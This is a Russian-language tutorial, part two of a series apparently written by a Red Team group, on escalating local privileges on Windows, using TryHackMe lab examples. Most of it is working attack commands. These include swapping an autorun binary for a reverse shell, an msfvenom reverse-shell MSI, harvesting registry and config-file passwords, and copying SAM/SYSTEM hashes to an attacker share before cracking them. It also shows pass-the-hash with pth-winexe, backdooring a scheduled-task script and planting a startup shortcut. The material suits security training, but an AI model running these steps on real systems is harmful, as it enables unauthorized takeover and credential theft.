Повышение локальных привилегий Windows - 2 часть
Введение
В прошлой статье мы с вами рассмотрели:
- Все о разрешительной системе в ОС Windows.
- Инструменты для повышения привилегий.
- Эксплойты ядра и используемые инструменты.
- Сервисные эксплойты.
Приступим к дальнейшему рассмотрению других вариантов повышения привилегий в операционной системе WIndows.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Реестр
Автозапуск
Windows можно настроить на запуск команд при запуске с повышенными привилегиями. Эти «автозапуски» настраиваются в реестре. Если вы можете записать исполняемый файл AutoRun и перезапустить систему (или дождаться ее перезапуска), возможно, вы сможете повысить привилегии.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
> .\winPEASany.exe quiet applicationsinfo
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
> .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
- Исполняемый файл автозапуска «C:\Program Files\Autorun Program\program.exe» доступен для записи всем. Создайте резервную копию оригинала:
> copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
- Запустите прослушиватель на Kali, а затем перезапустите машину-жертву, чтобы активировать эксплойт. Обратите внимание, что в Windows 10 эксплойт запускается с привилегиями последнего вошедшего в систему пользователя, поэтому войдите в систему под учетной записью «администратора».
AlwaysInstallElevated (Всегда устанавливать с повышенными правами)
Файлы MSI — это файлы пакетов, используемые для установки приложений. Эти файлы запускаются с разрешения пользователя, пытающегося их установить.
Windows позволяет запускать эти установщики с повышенными правами (т. е. администратора). В этом случае мы можем создать вредоносный MSI-файл, который содержит обратную оболочку.
Загвоздка в том, что для того, чтобы это работало, необходимо включить два параметра реестра. Значение AlwaysInstallElevated должно быть установлено равным 1 как для локального компьютера:
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
, так и текущего пользователя:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
Если какой-либо из параметров отсутствует или отключен, эксплойт не сработает.
Повышение привилегий
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
> .\winPEASany.exe quiet windowscreds
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- Создайте новую обратную оболочку с помощью msfvenom, на этот раз в формате msi, и сохраните ее с расширением .msi:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
- Скопируйте файлverse.msi на машину-жертву, запустите прослушиватель на Kali и запустите установщик, чтобы активировать эксплойт:
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
Пароли
Даже администраторы повторно используют свои пароли или оставляют свои пароли в системах в читаемых местах. Windows может быть особенно уязвима для этого, поскольку некоторые функции Windows хранят пароли небезопасно.
Пароли в реестре
Многие программы хранят параметры конфигурации в реестре Windows. Сама Windows иногда хранит пароли в открытом виде в реестре. Всегда стоит поискать пароли в реестре.
Следующие команды будут искать в реестре ключи и значения, содержащие «password»:
> reg query HKLM /f password /t REG_SZ /s > reg query HKCU /f password /t REG_SZ /s
Обычно такие запросы дают много результатов, поэтому зачастую более плодотворно искать в известных местах.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
> .\winPEASany.exe quiet filesinfo userinfo
- Результаты показывают как учетные данные AutoLogon, так и учетные данные сеанса Putty для пользователя-администратора (admin/password123).
- Мы можем проверить это вручную:
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
- В Kali мы можем использовать команду winexe для запуска оболочки, используя следующие реквизиты для входа:
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
Сохраненные креды
В Windows есть команда runas, которая позволяет пользователям запускать команды с привилегиями других пользователей. Обычно для этого требуется знание пароля другого пользователя. Однако Windows также позволяет пользователям сохранять свои учетные данные в систему, и эти сохраненные учетные данные можно использовать для обхода этого требования.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
> .\winPEASany.exe quiet cmd windowscreds
- Похоже, что сохраненные учетные данные для пользователя-администратора существуют.
- Мы можем проверить это вручную, используя следующую команду:
> cmdkey /list
- Если сохраненные учетные данные отсутствуют, запустите следующий сценарий, чтобы обновите учетные данные:
> C:\PrivEsc\savecred.bat
- Мы можем использовать сохраненные учетные данные для запуска любой команды от имени администратора. Запустите прослушиватель в Kali и запустите исполняемый файл обратной оболочки:
> runas /savecred /user:admin C:\PrivEsc\reverse.exe
Файлы конфигурации
Некоторые администраторы оставляют в системе файлы конфигурации с паролями.
Это позволяет в значительной степени автоматизировать настройку систем Windows. Файл Unattend.xml является примером этого.
Рекурсивный поиск файлов в текущем каталоге с «pass» в имени или заканчивающиеся на «.config»:
> dir /s *pass* == *.config
Рекурсивный поиск файлов в текущем каталоге, содержащих слово «password» и заканчивающихся на .xml, .ini, .txt:
> findstr /si password *.xml *.ini *.txt
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windowsprivescarena
> .\winPEASany.exe quiet cmd searchfast filesinfo
> type C:\Windows\Panther\Unattend.xml
cGFzc3dvcmQxMjM=
# echo "cGFzc3dvcmQxMjM=" | base64 -d
SAM
Windows хранит хеши паролей в диспетчере учетных записей безопасности (Security Account Manager - SAM). Хэши зашифрованы ключом, который можно найти в файле с именем SYSTEM. Если у вас есть возможность читать файлы SAM и SYSTEM, вы может извлечь хеши.
Файлы SAM и SYSTEM расположены в каталоге C:\Windows\System32\config.
Файлы блокируются во время работы Windows.
Резервные копии файлов могут существовать в каталогах C:\Windows\Repair или C:\Windows\System32\config\RegBack.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
- Резервные копии файлов SAM и SYSTEM можно найти в C:\Windows\Repair и они доступны для чтения пользователю.
- Скопируйте файлы на Kali:
> copy C:\Windows\Repair\SAM \\192.168.1.11\tools\ > copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
# git clone https://github.com/Neohapsis/creddump7.git
# python2 creddump7/pwdump.py SYSTEM SAM
# hashcat -m 1000 –force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt
Pass the Hash (Передача хеша)
Windows принимает хеши вместо паролей для аутентификации в ряде служб. Мы можем использовать модифицированную версию winexe, pth-winexe, для вызова командной строки с использованием хеша пользователя-администратора.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
- Извлеките хеш администратора из SAM на предыдущем шаге.
- Используйте хеш с pth-winexe для вызова командной строки:
# pth-winexe –U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
# pth-winexe --system –U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
Запланированные задачи
Windows можно настроить на запуск задач в определенное время, периодически (например, каждые 5 минут) или при срабатывании какого-либо события (например, входа пользователя в систему). Задачи обычно выполняются с правами создавшего их пользователя, однако администраторы могут настроить задачи для запуска от имени других пользователей, включая SYSTEM.
К сожалению, не существует простого метода перечисления пользовательских задач, принадлежащих другим пользователям, в качестве учетной записи пользователя с низкими привилегиями.
Перечислите все запланированные задачи, которые может видеть ваш пользователь:
> schtasks /query /fo LIST /v
PS> Get-ScheduledTask | where {$_.TaskPath –notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Часто нам приходится полагаться на другие подсказки, например, на поиск сценария или файла журнала, указывающего на выполнение запланированной задачи.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
- В каталоге C:\DevTools находится сценарий PowerShell под названием «CleanUp.ps1». Посмотреть сценарий:
> type C:\DevTools\CleanUp.ps1
- Кажется, что этот сценарий запускается каждую минуту от имени пользователя SYSTEM. Мы можем проверить наши права доступа к этому сценарию с помощью accesschk.exe:
> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
> copy C:\DevTools\CleanUp.ps1 C:\Temp\
> echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
- Подождите, пока запустится запланированное задание (оно должно запускаться каждую минуту), чтобы завершить эксплойт.
Небезопасный графический интерфейс приложения
В некоторых (более старых) версиях Windows пользователям может быть предоставлено разрешение на запуск определенных приложений с графическим интерфейсом с правами администратора. Зачастую существует множество способов вызвать командные строки из приложений с графическим интерфейсом, в том числе с использованием встроенных функций Windows. Поскольку родительский процесс запускается с правами администратора, созданная командная строка также будет запускаться с этими привилегиями.
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
- Войдите в виртуальную машину Windows с помощью графического интерфейса под учетной записью «пользователь».
- Дважды щелкните ярлык «AdminPaint» на рабочем столе.
- Откройте командную строку и выполните:
> tasklist /V | findstr mspaint.exe
- Обратите внимание, что mspaint.exe запускается с правами администратора.
- В Paint нажмите «Файл», затем «Открыть».
- В навигационном вводе замените содержимое на:
c:/windows/system32/cmd.exe
Запуск приложений
Каждый пользователь может определить приложения, которые запускаются при входе в систему, разместив для них ярлыки в определенном каталоге. В Windows также есть каталог запуска для приложений, которые должны запускаться у всех пользователей: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
Если мы сможем создавать файлы в этом каталоге, мы сможем использовать наш исполняемый файл обратной оболочки и повышать привилегии при входе администратора.
Обратите внимание, что необходимо использовать файлы ярлыков (.lnk). Можно использовать следующий VBScript, чтобы создать файл ярлыка:
Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "C:\PrivEsc\reverse.exe" oLink.Save
Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
> .\accesschk.exe /accepteula –d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
- Обратите внимание, что группа BUILTIN\Users имеет доступ на запись в этот каталог.
- Создайте файл CreateShortcut.vbs с помощью VBScript, представленного ранее. Измените пути к файлам, если необходимо.
- Запустите скрипт с помощью cscript:
> cscript CreateShortcut.vbs
- Запустите прослушиватель в Kali, затем войдите в систему как администратор, чтобы запустить эксплойт.
Установленные приложения
Большинство повышений привилегий, связанных с установленными приложениями, основаны на ошибках конфигурации, которые мы уже рассмотрели. Тем не менее, некоторое повышение привилегий происходит в результате таких вещей, как переполнения буфера, поэтому знание того, как идентифицировать установленные приложения и известные уязвимости, по-прежнему важно.
Вручную перечислить все запущенные программы:
> tasklist /v
Мы также можем использовать Seatbelt для поиска нестандартных процессов:
> .\seatbelt.exe NonstandardProcesses
winPEAS также имеет такую возможность:
> .\winPEASany.exe quiet processinfo
Как только вы обнаружите интересный процесс, попробуйте определить его версию. Вы можете попробовать запустить исполняемый файл с помощью /? или -h, а также проверить конфигурационные или текстовые файлы в каталоге Program Files.
Используйте Exploit-DB для поиска соответствующего эксплойта.
Некоторые эксплойты содержат инструкции, а другие представляют собой код, который вам нужно будет скомпилировать и запустить.
Заключение
Во второй части данной статьи мы рассмотрели следующие векторы повышения привилегий:
- Через Реестр.
- Хранимые пароли в операционной системе.
- Запланированные задачи.
- Небезопасный графический интерфейс приложения.
- Автозапуск приложений.
- Уязвимые приложения и компоненты операционной системы.
В следующих статьях мы продолжим углубляться в другие векторы повышения привилегий в ОС Windows.